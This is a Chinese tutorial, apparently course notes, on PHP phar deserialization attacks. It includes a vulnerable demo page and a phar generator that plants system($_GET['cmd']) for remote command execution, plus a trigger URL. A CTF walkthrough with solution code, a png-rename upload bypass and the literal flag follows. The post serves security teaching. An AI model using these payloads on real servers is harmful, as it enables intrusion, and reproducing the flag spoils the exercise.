WEB渗透—反序列化(十一)

Web渗透—反序列化        课程学习分享(课程非本人制作,仅提供学习分享)


靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场

课程地址:PHP反序列化漏洞学习_哔哩哔_bilibili


二十一、phar反序列化原理

1.什么是phar

JAR是开发Java程序的一个应用,包括所有的可执行、可访问的文件,都打包进了一个JAR文件里,使得部署过程十分简单。

PHAR(“Php ARchive”)是PHP里类似于JAR的一种打包文件

对于PHP 5.3或更高版本,Phar后缀文件是默认开启支持的,可以直接使用它。

文件包含:phar伪协议,可读取.phar文件。

Phar的结构:

1)stub phar        文件标识,格式为xxx<?php xxx;__HALT_COMPILER();?>; (头部信息)

2)manifset        压缩文件的属性等信息,以序列化存储;

3)contents        压缩文件的内容;

4)signature        签名,放在文件末尾

  Phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化

压缩:

<?php
$phar = new Phar('test2.phar',0,'test2.phar');   //创建一个test2.phar文件
$phar->buildfromDirectory('f:\0Day');            //添加0Day文件夹内的所有文件添加到test2.phar文件中
$phar->setDefaultStub('test.txt','test.txt');    //设置执行时的入口文件,第一个用于命令行,第二个用于浏览器访问,这里都设置为"test.txt"
?>

new Phar可以创建一个 PHAR 文件对象,在例题中传入了三个参数:文件名、文件的压缩模式(0 表示不压缩)以及 PHAR 文件内部的别名(可选)。

buildfromDirectory方法的作用是将指定目录中的文件添加到 PHAR 文件中。它会递归地遍历目录下的所有文件和子目录,并将它们添加到 PHAR 文件的内容中

setDefaultStub方法的作用是设置 PHAR 文件的默认入口点。入口点是指在执行 PHAR 文件时,首先执行的文件或脚本。

解压缩:

<?php
$phar = new Phar('test.phar');
$phar->extractTo('test');        //将PHAR文件中的内容提取到指定的目录test
?>

extractTo方法的作用是将 PHAR 文件中的内容提取到指定的目录。它接受一个参数,即目标目录的路径,将 PHAR 文件中的所有文件和目录提取到该目录中。

2.Phar漏洞原理

manifset压缩文件的属性等信息,以序列化存储;存在一段序列化的字符串;

调用phar伪协议,可读取 .phar 文件;

Phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化。

Phar需要PHP>=5.2在php.ini中将phar.readonly设为Off(注意去掉前面的分号)

受影响的函数

fileatime

filectime

file_exists

file_get_contents

file_put_contents

file

filegroup

fopen

fileinode

filemtime

fileowner

fileperms

is_dir

is_executable

is_file

is_link

is_readable

is_writable

is_writeable

parse_ini_file

copy

unlink

stat

readfile

3.漏洞实验验证

index.php

<?php
class Testobj{var $output="echo 'ok';";function __destruct(){             //反序列化Testobj触发__destruct(),调用output值eval($this->output);}
}
if(isset($_GET['filename'])){$filename=$_GET['filename'];       //提交文件名filename,file_exists读取文件var_dump(file_exists($filename));  //检查文件是否存在
}
?>

file_exists有文件包含功能,可调用phar伪协议,读取test.phar

phar.php

<?php
class Testobj{var $output='';
}
@unlink('test.phar');              //删除之前的test.phar文件(如果有)
$phar=new Phar('test.phar');       //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();           //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');    //写入stub
$o=new Testobj();
$o->output='system($_GET["cmd"]);';
$phar->setMetadata($o);                           //写入meta-data
$phar->addFromString("test.txt","test");          //添加要压缩的文件
$phar->stopBuffering();
?>

注意:需要PHP>=5.2在php.ini中将phar.readonly设为Off

思路: 

1)生成phar文件test.phar,给其中output赋值为system($_GET["cmd"]);

2)Phar协议解析文件时,会自动触发manifest字段的序列化字符串进行反序列化

3)反序列化触发__destruct(),执行eval($this->output);

4)而反序列化后output='system($_GET["cmd"]);',cmd的值变得可控

5)构造payload:URL?filename=phar://test.phar&cmd=whoami

4.Phar漏洞条件

1)phar文件能上传到服务器端;

(可手动修改后缀,不识别后缀名)

2)要有可用反序列化魔术方法作为跳板;

(需要有__wakeup()、__destruct()魔术方法)

3)要有文件操作函数;

(如file_exosts($filename),fopen(),file_get_contents())

4)文件操作函数参数可控,且 :/phar 等特殊字符没有被过滤


二十二、phar反序列化例题

1.实例代码

目标:输出flag

<?php
class TestObject {public function __destruct() {    //反序列化TestObject()触发__destruct执行echo $flaginclude('flag.php');echo $flag;}
}
$filename = $_POST['file'];           //通过POST提交file赋值$filename
if (isset($filename)){                //判断是否有$filename值传递echo md5_file($filename);         //计算文件的MD5值
}
//upload.php
?> 

md5_file()是一个PHP内置函数,用于计算指定文件的MD5值

根据例题中的提示,我们发现了upload.php页面,可以进行文件上传

判断是否具有Phar漏洞条件:

        1)phar文件能上传到服务器端( /upload.php )

        2)要有可反序列化魔术方法作为跳板( __destruct() )

        3)要有文件操作函数( md5_file )

        4)文件操作函数参数可控( $POST['file'] )

2.解题代码

<?php
class TestObject{
}
@unlink('test.phar');           //删除之前的test.phar文件(如果有)
$phar=new Phar('test.phar');    //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();        //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');      //写入stub
$o=new TestObject();
$phar->setMetadata($o);                             //写入meta-data
$phar->addFromString("test.txt","test");            //添加要压缩的文件
$phar->stopBuffering();
?>

利用php脚本创建一个phar文件,其中 mate-data 里放置一个包含TestObject()的序列化字符串

 

3.解题步骤

1)生产一个phar文件,在mate-data里放置一个包含TestObject的序列化字符串;

2)上传文件,需要更改文件后缀为图片png格式,进行绕过,并得到上传文件存放目录;

3)利用POST传参和phar伪协议传递phar文件路径,md5_file执行phar伪协议,触发反序列化;

4)反序列化TestObject触发__destruct()执行echo $flag,得到flag。

 ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/247044.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【一周AI简讯】亚马逊推出企业级生成式AI聊天机器人,英伟达黄仁勋称AI将在5年内赶超人类

亚马逊推出企业级生成式AI聊天机器人Amazon Q 周二&#xff0c;亚马逊的云计算部门亚马逊网络服务 (AWS)推出了 Amazon Q&#xff0c;这是一款生成式 AI 聊天机器人。与 ChatGPT 和 Bard 不同&#xff0c;Amazon Q 并不基于单一的 AI 模型。相反&#xff0c;它在一个名为 Bedr…

Redis部署-哨兵模式

目录 redis sentinel相关名词 redis sentinel架构 故障转移流程 基于docker搭建redis哨兵 准备工作 搭建过程 模拟主节点宕机,观察哨兵节点的工作流程 哨兵重新选取主节点的流程 1.主观下线 2.客观下线 3.哨兵节点推举出一个leader节点 4.leader选举完毕,leader挑选…

智能优化算法应用:基于阿基米德优化算法无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用&#xff1a;基于阿基米德优化算法无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用&#xff1a;基于阿基米德优化算法无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.阿基米德优化算法4.实验参数设定5.算…

【Altium designer 20】

Altium designer 20 1. Altium designer 201.1 原理图库1.1.1 上划岗 在字母前面加\在加字母1.1.2 自定义快捷键1.1.3 对齐1.1.4 在原有的电路图中使用封装1.1.5 利用excel创建IC类元件库1.1.6 现有原理图库分类以及调用1.1.7 现有原理图库中自动生成原理图库 1.2 绘制原理图1.…

259k+ Star!这是我见过最全的开发者技术学习路线!

大家好&#xff0c;我是 Java陈序员。 自从上班后&#xff0c;身体是一天不如一天了&#xff0c;也很少有时间可以去学习新技术了。程序员如果技术跟不上&#xff0c;很容易就被淘汰。 而碎片化的学习效率又不高&#xff0c;往往今天学了&#xff0c;明天就忘了。有时候更是不…

Unity 关于SetParent方法的使用情况

在设置子物体的父物体时&#xff0c;我们使用SetParent再常见不过了。 但是通常我们只是使用其中一个语法&#xff1a; public void SetParent(Transform parent);使用改方法子对象会保持原来位置&#xff0c;跟使用以下方法效果一样&#xff1a; public Transform tran; ga…

【华为OD题库-064】最小传输时延I-java

题目 某通信网络中有N个网络结点&#xff0c;用1到N进行标识。网络通过一个有向无环图.表示,其中图的边的值表示结点之间的消息传递时延。 现给定相连节点之间的时延列表times[]{u&#xff0c;v&#xff0c; w)&#xff0c;其中u表示源结点&#xff0c;v表示目的结点&#xff0…

分享全球顶尖的AIGC文生图资源

1 引言 人工智能正在改变许多行业的格局&#xff0c;而其中改变最直观和影响最大的就是AIGC领域的图像创作。文生图技术作为AIGC的一个重要分支&#xff0c;展现了人工智能在视觉创作领域的巨大潜力。发展至今已经有很多AI文生图平台&#xff0c;这是一次革命性的突破&#xf…

最新Graphviz python安装教程及使用

文章目录 Graphviz 安装python安装graphviz库 Graphviz 安装 Graphviz是一个独立的软件&#xff0c;在用python的pip下载之前&#xff0c;需要先下载软件。 网址&#xff1a;https://graphviz.org/download/ 找到合适的版本进行下载安装。记住自己的安装位置&#xff0c;完…

Leetcode每日一题学习训练——Python3版(从二叉搜索树到更大和树)

版本说明 当前版本号[20231204]。 版本修改说明20231204初版 目录 文章目录 版本说明目录从二叉搜索树到更大和树理解题目代码思路参考代码 原题可以点击此 1038. 从二叉搜索树到更大和树 前去练习。 从二叉搜索树到更大和树 给定一个二叉搜索树 root (BST)&#xff0c;请…

卷积神经网络(CNN):乳腺癌识别.ipynb

文章目录 一、前言一、设置GPU二、导入数据1. 导入数据2. 检查数据3. 配置数据集4. 数据可视化 三、构建模型四、编译五、训练模型六、评估模型1. Accuracy与Loss图2. 混淆矩阵3. 各项指标评估 一、前言 我的环境&#xff1a; 语言环境&#xff1a;Python3.6.5编译器&#xf…

汽车后服务行业汽美汽修店小程序作用如何

汽车后服务行业包括汽美、汽修等多种门店类型&#xff0c;如今家庭拥车量平均数非常高&#xff0c;这意味着后服务市场商家只要服务好、质量佳、具备一定引流转化方式&#xff0c;就能获得生意。 然而传统门店在近些年生意也不好做&#xff0c;自然流量减少、同行竞争压力等&a…